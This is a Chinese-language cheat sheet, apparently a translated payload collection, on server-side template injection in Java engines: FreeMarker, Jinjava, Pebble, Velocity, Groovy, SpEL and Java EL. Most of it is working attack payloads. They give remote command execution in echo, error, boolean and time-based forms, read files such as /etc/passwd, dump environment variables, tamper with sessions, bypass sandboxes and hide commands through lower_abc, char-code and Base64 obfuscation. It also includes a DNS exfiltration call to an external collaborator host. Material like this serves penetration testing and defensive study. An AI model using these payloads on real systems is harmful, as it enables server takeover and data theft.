跳转至

服务端模板注入 (SSTI) - Java

服务端模板注入 (SSTI) 是一种安全漏洞,当用户输入以不安全的方式嵌入到服务端模板中时就会产生,从而允许攻击者注入并执行任意代码。在 Java 中,由于基于 Java 的模板引擎(如 JSP (JavaServer Pages)、Thymeleaf 和 FreeMarker)具有强大的功能和灵活性,SSTI 可能特别危险。

摘要 (Summary)

模板库 (Templating Libraries)

模板名称 载荷格式
Codepen #{ }
Freemarker ${ }, #{ }, [= ]
Groovy ${ }
Jinjava {{ }}
Pebble {{ }}
Spring *{ }
Thymeleaf [[ ]]
Velocity #set($X="") $X

Java EL

Java EL - 基础注入

Java 有多种使用类似语法的表达式语言 (EL)。

可以使用多个变量表达式,如果 ${...} 不起作用,请尝试 #{...}*{...}@{...}~{...}

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}

Java EL - 代码执行

${''.getClass().forName('java.lang.String').getConstructor(''.getClass().forName('[B')).newInstance(''.getClass().forName('java.lang.Runtime').getRuntime().exec('id').inputStream.readAllBytes())} // 回显型 RCE
${''.getClass().forName('java.lang.Integer').valueOf('x'+''.getClass().forName('java.lang.String').getConstructor(''.getClass().forName('[B')).newInstance(''.getClass().forName('java.lang.Runtime').getRuntime().exec('id').inputStream.readAllBytes()))} // 报错型 RCE
${1/((''.getClass().forName('java.lang.Runtime').getRuntime().exec('id').waitFor()==0)?1:0)+''} // 布尔型 RCE
${(''.getClass().forName('java.lang.Runtime').getRuntime().exec('id').waitFor().equals(0)?(''.getClass().forName('java.lang.Thread')).sleep(5000):0).toString()} // 时间型 RCE

Freemarker

官方网站

Apache FreeMarker™ 是一个模板引擎:一个基于模板和变化的数据来生成文本输出(HTML 网页、电子邮件、配置文件、源代码等)的 Java 库。

你可以在 https://try.freemarker.apache.org 尝试你的载荷。

Freemarker - 基础注入

模板可以是:

  • 默认:${3*3}
  • 传统:#{3*3}
  • 替代方案:[=3*3](自 FreeMarker 2.3.4 起)

Freemarker - 读取文件

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('文件路径').toURL().openStream().readAllBytes()?join(" ")}
将返回的字节转换为 ASCII

Freemarker - 代码执行

<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
#{"freemarker.template.utility.Execute"?new()("id")}
[="freemarker.template.utility.Execute"?new()("id")]

${("xx"+("freemarker.template.utility.Execute"?new()("id")))?new()} // 报错型 RCE
${1/((freemarker.template.utility.Execute"?new()("  && echo UniqueString")?chop_linebreak?ends_with("UniqueString"))?string('1','0')?eval)} // 布尔型 RCE
${"freemarker.template.utility.Execute"?new()("id && sleep 5")} // 时间型 RCE

Freemarker - 混淆后的代码执行

FreeMarker 提供了内建函数:lower_abc。此函数将基于整数的值转换为字母字符串,但其方式可能与你在 Python 中的 chr 等函数所期望的不同。正如 lower_abc 文档所解释的:

如果您想要一个代表字符串 "id" 的字符串,您可以使用载荷:${9?lower_abc+4?lower_abc)}

链式调用 lower_abc 以执行代码(命令:id):

${(6?lower_abc+18?lower_abc+5?lower_abc+5?lower_abc+13?lower_abc+1?lower_abc+18?lower_abc+11?lower_abc+5?lower_abc+18?lower_abc+1.1?c[1]+20?lower_abc+5?lower_abc+13?lower_abc+16?lower_abc+12?lower_abc+1?lower_abc+20?lower_abc+5?lower_abc+1.1?c[1]+21?lower_abc+20?lower_abc+9?lower_abc+12?lower_abc+9?lower_abc+20?lower_abc+25?lower_abc+1.1?c[1]+5?upper_abc+24?lower_abc+5?lower_abc+3?lower_abc+21?lower_abc+20?lower_abc+5?lower_abc)?new()(9?lower_abc+4?lower_abc)}

载荷的参考和说明可以在 yeswehack/server-side-template-injection-exploitation 找到。

Freemarker - 沙箱绕过

⚠ 仅适用于 2.3.30 以下版本的 Freemarker

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Jinjava

官方网站

基于 Java 的模板引擎,采用 Django 模板语法,适用于渲染 Jinja 模板(至少是 HubSpot 内容中使用的 Jinja 子集)。

Jinjava - 基础注入

{{'a'.toUpperCase()}} 结果为 'A'
{{ request }} 将返回一个请求对象例如 com.[...].context.TemplateContextRequest@23548206

Jinjava 是由 Hubspot 开发的一个开源项目,可在 https://github.com/HubSpot/jinjava/ 找到。

Jinjava - 命令执行

已通过 HubSpot/jinjava PR #230 修复。

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

Pebble

官方网站

Pebble 是一个受 Twig 启发且类似于 Python Jinja 模板引擎语法的 Java 模板引擎。它具有模板继承和易读语法的特点,自带自动转义功能以确保安全,并包含对国际化的集成支持。

Pebble - 基础注入

{{ someString.toUPPERCASE() }}

Pebble - 代码执行

Pebble 的旧版本 (< 3.0.9):{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

Pebble 的新版本:

{% set cmd = 'id' %}
{% set bytes = (1).TYPE
     .forName('java.lang.Runtime')
     .methods[6]
     .invoke(null,null)
     .exec(cmd)
     .inputStream
     .readAllBytes() %}
{{ (1).TYPE
     .forName('java.lang.String')
     .constructors[0]
     .newInstance(([bytes]).toArray()) }}

Velocity

官方网站

Apache Velocity 是一个基于 Java 的模板引擎,允许 Web 设计师在模板中直接嵌入 Java 代码引用。

在存在漏洞的环境中,可以滥用 Velocity 的表达式语言来实现远程代码执行 (RCE)。例如,此载荷执行 whoami 命令并打印结果:

#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

一种更为灵活和隐蔽的载荷,支持 Base64 编码的命令,允许执行任意 Shell 命令,例如 echo "a" > /tmp/a。以下是以 Base64 形式执行 whoami 的示例:

#set($base64EncodedCommand = 'd2hvYW1p')

#set($contextObjectClass = $knownContextObject.getClass())

#set($Base64Class = $contextObjectClass.forName("java.util.Base64"))
#set($Base64Decoder = $Base64Class.getMethod("getDecoder").invoke(null))
#set($decodedBytes = $Base64Decoder.decode($base64EncodedCommand))

#set($StringClass = $contextObjectClass.forName("java.lang.String"))
#set($command = $StringClass.getConstructor($contextObjectClass.forName("[B"), $contextObjectClass.forName("java.lang.String")).newInstance($decodedBytes, "UTF-8"))

#set($commandArgs = ["/bin/sh", "-c", $command])

#set($ProcessBuilderClass = $contextObjectClass.forName("java.lang.ProcessBuilder"))
#set($processBuilder = $ProcessBuilderClass.getConstructor($contextObjectClass.forName("java.util.List")).newInstance($commandArgs))
#set($processBuilder = $processBuilder.redirectErrorStream(true))
#set($process = $processBuilder.start())
#set($exitCode = $process.waitFor())

#set($inputStream = $process.getInputStream())
#set($ScannerClass = $contextObjectClass.forName("java.util.Scanner"))
#set($scanner = $ScannerClass.getConstructor($contextObjectClass.forName("java.io.InputStream")).newInstance($inputStream))
#set($scannerDelimiter = $scanner.useDelimiter("\\A"))

#if($scanner.hasNext())
  #set($output = $scanner.next().trim())
  $output.replaceAll("\\s+$", "").replaceAll("^\\s+", "")
#end

报错型 RCE 载荷:

#set($s="")
#set($sc=$s.getClass().getConstructor($s.getClass().forName("[B"), $s.getClass()))
#set($p=$s.getClass().forName("java.lang.Runtime").getRuntime().exec("id")
#set($n=$p.waitFor())
#set($b="Y:/A:/"+$sc.newInstance($p.inputStream.readAllBytes(), "UTF-8"))
#include($b)

布尔型 RCE 载荷:

#set($s="")
#set($p=$s.getClass().forName("java.lang.Runtime").getRuntime().exec("id"))
#set($n=$p.waitFor())
#set($r=$p.exitValue())
#if($r != 0)
#include("Y:/A:/xxx")
#end

时间型 RCE 载荷:

#set($s="")
#set($p=$s.getClass().forName("java.lang.Runtime").getRuntime().exec("id"))
#set($n=$p.waitFor())
#set($r=$p.exitValue())
#if($r != 0)
#set($t=$s.getClass().forName("java.lang.Thread").sleep(5000))
#end

Groovy

官方网站

Groovy - 基础注入

参考 groovy-lang.org/syntax${9*9} 是最基础的注入。

Groovy - 读取文件

${String x = new File('c:/windows/notepad.exe').text}
${String x = new File('/文件路径').getText('UTF-8')}
${new File("C:\Temp\FileName.txt").createNewFile();}

Groovy - HTTP 请求

${"http://www.google.com".toURL().text}
${new URL("http://www.google.com").getText()}

Groovy - 命令执行

${"calc.exe".exec()}
${"calc.exe".execute()}
${this.evaluate("9*9") //(这是一个 Script 类)}
${new org.codehaus.groovy.runtime.MethodClosure("calc.exe","execute").call()}

Groovy - 混淆后的命令执行

您可以通过从 ASCII 码构建字符串并将其作为系统命令执行来绕过安全过滤器。

代表字符串 id 的载荷:${((char)105).toString()+((char)100).toString()}

执行系统命令(命令:id):

${x=new/**/String();for(i/**/in[105,100]){x+=((char)i).toString()};x.execute().text}${x=new/**/String();for(i/**/in[105,100]){x+=((char)i).toString()};x.execute().text}

载荷的参考和说明可以在 yeswehack/server-side-template-injection-exploitation 找到。

Groovy - 沙箱绕过

${ @ASTTest(value={assert java.lang.Runtime.getRuntime().exec("whoami")})
def x }

或者

${ new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x") }

Spring 表达式语言 (SpEL)

Java EL 载荷通常也适用于 SpEL

官方网站

Spring 表达式语言(简称 SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图。语言语法类似于 Unified EL,但提供了更多功能,最显着的是方法调用和基本的字符串模板功能。

SpEL - 基础注入

${7*7}
${'patt'.toString().replace('a', 'x')}

SpEL - 获取环境变量

${T(java.lang.System).getenv()}

SpEL - 获取 /etc/passwd

${T(java.lang.Runtime).getRuntime().exec('cat /etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

SpEL - DNS 数据外带 (Exfiltration)

DNS 查询:

${"".getClass().forName("java.net.InetAddress").getMethod("getByName","".getClass()).invoke("","xxxxxxxxxxxxxx.burpcollaborator.net")}

SpEL - Session 属性

修改 session 属性:

${pageContext.request.getSession().setAttribute("admin",true)}

SpEL - 命令执行

  • 使用 java.lang.Runtime 的方法 #1 - 通过 JavaClass 访问

    ${T(java.lang.Runtime).getRuntime().exec("在此输入命令")}
    
  • 使用 java.lang.Runtime 的方法 #2

    #{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
    #{session.getAttribute("rtc").setAccessible(true)}
    #{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}
    
  • 使用 java.lang.Runtime 的方法 #3 - 通过 invoke 访问

    ${''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(''.getClass().forName('java.lang.Runtime')).exec('在此输入命令')}
    
  • 使用 java.lang.Runtime 的方法 #4 - 通过 javax.script.ScriptEngineManager 访问

    ${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}
    
  • 使用 java.lang.ProcessBuilder 的方法

    ${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
    ${request.getAttribute("c").add("cmd.exe")}
    ${request.getAttribute("c").add("/k")}
    ${request.getAttribute("c").add("ping x.x.x.x")}
    ${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
    ${request.getAttribute("a")}
    

参考资料 (References)